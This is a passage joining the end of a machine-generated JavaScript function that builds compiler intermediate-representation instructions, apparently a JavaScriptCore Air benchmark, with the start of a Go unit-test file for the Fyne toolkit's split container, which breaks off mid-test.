inst.args.push(arg);
arg = Arg.createImm(128);
inst.args.push(arg);
bb19.append(inst);
bb20.predecessors.push(bb19);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb20.append(inst);
inst = new Inst(Oops);
bb20.append(inst);
bb21.successors.push(new FrequentedBlock(bb22, Normal));
bb21.successors.push(new FrequentedBlock(bb23, Normal));
bb21.predecessors.push(bb19);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
bb21.append(inst);
inst = new Inst(Branch32);
arg = Arg.createRelCond(Equal);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createImm(92);
inst.args.push(arg);
bb21.append(inst);
bb22.predecessors.push(bb21);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb22.append(inst);
inst = new Inst(Oops);
bb22.append(inst);
bb23.successors.push(new FrequentedBlock(bb2, Rare));
bb23.successors.push(new FrequentedBlock(bb24, Normal));
bb23.predecessors.push(bb21);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 48);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(155021568, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createCallArg(8);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move32);
arg = Arg.createImm(3);
inst.args.push(arg);
arg = Arg.createCallArg(16);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
arg = Arg.createCallArg(24);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createCallArg(32);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r11);
inst.args.push(arg);
arg = Arg.createCallArg(40);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createCallArg(8);
inst.args.push(arg);
arg = Arg.createCallArg(16);
inst.args.push(arg);
arg = Arg.createCallArg(24);
inst.args.push(arg);
arg = Arg.createCallArg(32);
inst.args.push(arg);
arg = Arg.createCallArg(40);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraEarlyClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.rcx);
inst.extraClobberedRegs.add(Reg.rdx);
inst.extraClobberedRegs.add(Reg.rsi);
inst.extraClobberedRegs.add(Reg.rdi);
inst.extraClobberedRegs.add(Reg.r8);
inst.extraClobberedRegs.add(Reg.r9);
inst.extraClobberedRegs.add(Reg.r10);
inst.extraClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.xmm0);
inst.extraClobberedRegs.add(Reg.xmm1);
inst.extraClobberedRegs.add(Reg.xmm2);
inst.extraClobberedRegs.add(Reg.xmm3);
inst.extraClobberedRegs.add(Reg.xmm4);
inst.extraClobberedRegs.add(Reg.xmm5);
inst.extraClobberedRegs.add(Reg.xmm6);
inst.extraClobberedRegs.add(Reg.xmm7);
inst.extraClobberedRegs.add(Reg.xmm8);
inst.extraClobberedRegs.add(Reg.xmm9);
inst.extraClobberedRegs.add(Reg.xmm10);
inst.extraClobberedRegs.add(Reg.xmm11);
inst.extraClobberedRegs.add(Reg.xmm12);
inst.extraClobberedRegs.add(Reg.xmm13);
inst.extraClobberedRegs.add(Reg.xmm14);
inst.extraClobberedRegs.add(Reg.xmm15);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(155041288, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rax, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rax, -1336);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.r13, 24);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
arg = Arg.createStack(slot0, 0);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move32);
arg = Arg.createImm(2);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbp, 36);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(108356304, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createStack(slot3, 0);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rbp);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.xmm0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraClobberedRegs.add(Reg.rcx);
inst.extraClobberedRegs.add(Reg.rsi);
inst.extraClobberedRegs.add(Reg.rdi);
inst.extraClobberedRegs.add(Reg.r8);
inst.extraClobberedRegs.add(Reg.r9);
inst.extraClobberedRegs.add(Reg.r10);
inst.extraClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.xmm1);
inst.extraClobberedRegs.add(Reg.xmm2);
inst.extraClobberedRegs.add(Reg.xmm3);
inst.extraClobberedRegs.add(Reg.xmm4);
inst.extraClobberedRegs.add(Reg.xmm5);
inst.extraClobberedRegs.add(Reg.xmm6);
inst.extraClobberedRegs.add(Reg.xmm7);
inst.extraClobberedRegs.add(Reg.xmm8);
inst.extraClobberedRegs.add(Reg.xmm9);
inst.extraClobberedRegs.add(Reg.xmm10);
inst.extraClobberedRegs.add(Reg.xmm11);
inst.extraClobberedRegs.add(Reg.xmm12);
inst.extraClobberedRegs.add(Reg.xmm13);
inst.extraClobberedRegs.add(Reg.xmm14);
inst.extraClobberedRegs.add(Reg.xmm15);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: FP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb23.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(129987312, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb23.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rcx, 0);
inst.args.push(arg);
arg = Arg.createImm(-1);
inst.args.push(arg);
bb23.append(inst);
bb24.successors.push(new FrequentedBlock(bb25, Normal));
bb24.successors.push(new FrequentedBlock(bb26, Normal));
bb24.predecessors.push(bb23);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb24.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
bb24.append(inst);
bb25.successors.push(new FrequentedBlock(bb27, Normal));
bb25.successors.push(new FrequentedBlock(bb26, Normal));
bb25.predecessors.push(bb24);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb25.append(inst);
inst = new Inst(And64);
arg = Arg.createImm(-9);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb25.append(inst);
inst = new Inst(Branch64);
arg = Arg.createRelCond(Equal);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createImm(2);
inst.args.push(arg);
bb25.append(inst);
bb26.successors.push(new FrequentedBlock(bb29, Normal));
bb26.successors.push(new FrequentedBlock(bb28, Normal));
bb26.predecessors.push(bb24);
bb26.predecessors.push(bb25);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
bb26.append(inst);
bb27.successors.push(new FrequentedBlock(bb30, Normal));
bb27.predecessors.push(bb25);
inst = new Inst(Move);
arg = Arg.createImm(2);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb27.append(inst);
inst = new Inst(Jump);
bb27.append(inst);
bb28.successors.push(new FrequentedBlock(bb32, Normal));
bb28.predecessors.push(bb26);
inst = new Inst(Jump);
bb28.append(inst);
bb29.successors.push(new FrequentedBlock(bb30, Normal));
bb29.predecessors.push(bb26);
inst = new Inst(Jump);
bb29.append(inst);
bb30.successors.push(new FrequentedBlock(bb34, Normal));
bb30.successors.push(new FrequentedBlock(bb31, Normal));
bb30.predecessors.push(bb29);
bb30.predecessors.push(bb27);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb30.append(inst);
inst = new Inst(And64);
arg = Arg.createImm(-9);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb30.append(inst);
inst = new Inst(Branch64);
arg = Arg.createRelCond(Equal);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createImm(2);
inst.args.push(arg);
bb30.append(inst);
bb31.successors.push(new FrequentedBlock(bb32, Normal));
bb31.predecessors.push(bb30);
inst = new Inst(Jump);
bb31.append(inst);
bb32.successors.push(new FrequentedBlock(bb3, Rare));
bb32.successors.push(new FrequentedBlock(bb33, Normal));
bb32.predecessors.push(bb28);
bb32.predecessors.push(bb31);
inst = new Inst(Move32);
arg = Arg.createImm(3);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbp, 36);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(154991632, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rbp);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createBigImm(108356304, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.xmm0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraClobberedRegs.add(Reg.rcx);
inst.extraClobberedRegs.add(Reg.rsi);
inst.extraClobberedRegs.add(Reg.rdi);
inst.extraClobberedRegs.add(Reg.r8);
inst.extraClobberedRegs.add(Reg.r9);
inst.extraClobberedRegs.add(Reg.r10);
inst.extraClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.xmm1);
inst.extraClobberedRegs.add(Reg.xmm2);
inst.extraClobberedRegs.add(Reg.xmm3);
inst.extraClobberedRegs.add(Reg.xmm4);
inst.extraClobberedRegs.add(Reg.xmm5);
inst.extraClobberedRegs.add(Reg.xmm6);
inst.extraClobberedRegs.add(Reg.xmm7);
inst.extraClobberedRegs.add(Reg.xmm8);
inst.extraClobberedRegs.add(Reg.xmm9);
inst.extraClobberedRegs.add(Reg.xmm10);
inst.extraClobberedRegs.add(Reg.xmm11);
inst.extraClobberedRegs.add(Reg.xmm12);
inst.extraClobberedRegs.add(Reg.xmm13);
inst.extraClobberedRegs.add(Reg.xmm14);
inst.extraClobberedRegs.add(Reg.xmm15);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: FP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb32.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(129987312, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb32.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rcx, 0);
inst.args.push(arg);
arg = Arg.createImm(-1);
inst.args.push(arg);
bb32.append(inst);
bb33.predecessors.push(bb32);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb33.append(inst);
inst = new Inst(Ret64);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb33.append(inst);
bb34.predecessors.push(bb30);
inst = new Inst(Move);
arg = Arg.createBigImm(153835296, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createCallArg(8);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Move32);
arg = Arg.createImm(3);
inst.args.push(arg);
arg = Arg.createCallArg(16);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createCallArg(24);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
arg = Arg.createCallArg(32);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(6);
inst.args.push(arg);
arg = Arg.createCallArg(40);
inst.args.push(arg);
bb34.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createCallArg(8);
inst.args.push(arg);
arg = Arg.createCallArg(16);
inst.args.push(arg);
arg = Arg.createCallArg(24);
inst.args.push(arg);
arg = Arg.createCallArg(32);
inst.args.push(arg);
arg = Arg.createCallArg(40);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraEarlyClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.rcx);
inst.extraClobberedRegs.add(Reg.rdx);
inst.extraClobberedRegs.add(Reg.rsi);
inst.extraClobberedRegs.add(Reg.rdi);
inst.extraClobberedRegs.add(Reg.r8);
inst.extraClobberedRegs.add(Reg.r9);
inst.extraClobberedRegs.add(Reg.r10);
inst.extraClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.xmm0);
inst.extraClobberedRegs.add(Reg.xmm1);
inst.extraClobberedRegs.add(Reg.xmm2);
inst.extraClobberedRegs.add(Reg.xmm3);
inst.extraClobberedRegs.add(Reg.xmm4);
inst.extraClobberedRegs.add(Reg.xmm5);
inst.extraClobberedRegs.add(Reg.xmm6);
inst.extraClobberedRegs.add(Reg.xmm7);
inst.extraClobberedRegs.add(Reg.xmm8);
inst.extraClobberedRegs.add(Reg.xmm9);
inst.extraClobberedRegs.add(Reg.xmm10);
inst.extraClobberedRegs.add(Reg.xmm11);
inst.extraClobberedRegs.add(Reg.xmm12);
inst.extraClobberedRegs.add(Reg.xmm13);
inst.extraClobberedRegs.add(Reg.xmm14);
inst.extraClobberedRegs.add(Reg.xmm15);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb34.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb34.append(inst);
inst = new Inst(Ret64);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb34.append(inst);
return code;
}
|
{
"pile_set_name": "Github"
}
|
package widget
import (
"image/color"
"testing"
"fyne.io/fyne"
"fyne.io/fyne/canvas"
"fyne.io/fyne/driver/desktop"
"github.com/stretchr/testify/assert"
)
func TestSplitContainer(t *testing.T) {
size := fyne.NewSize(100, 100)
objA := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objB := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
t.Run("Horizontal", func(t *testing.T) {
NewHSplitContainer(objA, objB).Resize(size)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 50-halfDividerThickness(), sizeA.Width)
assert.Equal(t, 100, sizeA.Height)
assert.Equal(t, 50-halfDividerThickness(), sizeB.Width)
assert.Equal(t, 100, sizeB.Height)
})
t.Run("Vertical", func(t *testing.T) {
NewVSplitContainer(objA, objB).Resize(size)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 100, sizeA.Width)
assert.Equal(t, 50-halfDividerThickness(), sizeA.Height)
assert.Equal(t, 100, sizeB.Width)
assert.Equal(t, 50-halfDividerThickness(), sizeB.Height)
})
}
func TestSplitContainer_MinSize(t *testing.T) {
textA := canvas.NewText("TEXTA", color.NRGBA{0, 0xff, 0, 0})
textB := canvas.NewText("TEXTB", color.NRGBA{0, 0xff, 0, 0})
t.Run("Horizontal", func(t *testing.T) {
min := NewHSplitContainer(textA, textB).MinSize()
assert.Equal(t, textA.MinSize().Width+textB.MinSize().Width+dividerThickness(), min.Width)
assert.Equal(t, fyne.Max(textA.MinSize().Height, fyne.Max(textB.MinSize().Height, dividerLength())), min.Height)
})
t.Run("Vertical", func(t *testing.T) {
min := NewVSplitContainer(textA, textB).MinSize()
assert.Equal(t, fyne.Max(textA.MinSize().Width, fyne.Max(textB.MinSize().Width, dividerLength())), min.Width)
assert.Equal(t, textA.MinSize().Height+textB.MinSize().Height+dividerThickness(), min.Height)
})
}
func TestSplitContainer_SetRatio(t *testing.T) {
size := fyne.NewSize(100, 100)
objA := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objB := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
t.Run("Horizontal", func(t *testing.T) {
sc := NewHSplitContainer(objA, objB)
sc.Resize(size)
t.Run("Leading", func(t *testing.T) {
sc.SetOffset(0.75)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 75-halfDividerThickness(), sizeA.Width)
assert.Equal(t, 100, sizeA.Height)
assert.Equal(t, 25-halfDividerThickness(), sizeB.Width)
assert.Equal(t, 100, sizeB.Height)
})
t.Run("Trailing", func(t *testing.T) {
sc.SetOffset(0.25)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 25-halfDividerThickness(), sizeA.Width)
assert.Equal(t, 100, sizeA.Height)
assert.Equal(t, 75-halfDividerThickness(), sizeB.Width)
assert.Equal(t, 100, sizeB.Height)
})
})
t.Run("Vertical", func(t *testing.T) {
sc := NewVSplitContainer(objA, objB)
sc.Resize(size)
t.Run("Leading", func(t *testing.T) {
sc.SetOffset(0.75)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 100, sizeA.Width)
assert.Equal(t, 75-halfDividerThickness(), sizeA.Height)
assert.Equal(t, 100, sizeB.Width)
assert.Equal(t, 25-halfDividerThickness(), sizeB.Height)
})
t.Run("Trailing", func(t *testing.T) {
sc.SetOffset(0.25)
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 100, sizeA.Width)
assert.Equal(t, 25-halfDividerThickness(), sizeA.Height)
assert.Equal(t, 100, sizeB.Width)
assert.Equal(t, 75-halfDividerThickness(), sizeB.Height)
})
})
}
func TestSplitContainer_SetRatio_limits(t *testing.T) {
size := fyne.NewSize(50, 50)
objA := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objA.SetMinSize(size)
objB := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objB.SetMinSize(size)
t.Run("Horizontal", func(t *testing.T) {
sc := NewHSplitContainer(objA, objB)
t.Run("Leading", func(t *testing.T) {
sc.SetOffset(1.0)
sc.Resize(fyne.NewSize(200, 50))
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 150-dividerThickness(), sizeA.Width)
assert.Equal(t, 50, sizeA.Height)
assert.Equal(t, 50, sizeB.Width)
assert.Equal(t, 50, sizeB.Height)
})
t.Run("Trailing", func(t *testing.T) {
sc.SetOffset(0.0)
sc.Resize(fyne.NewSize(200, 50))
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 50, sizeA.Width)
assert.Equal(t, 50, sizeA.Height)
assert.Equal(t, 150-dividerThickness(), sizeB.Width)
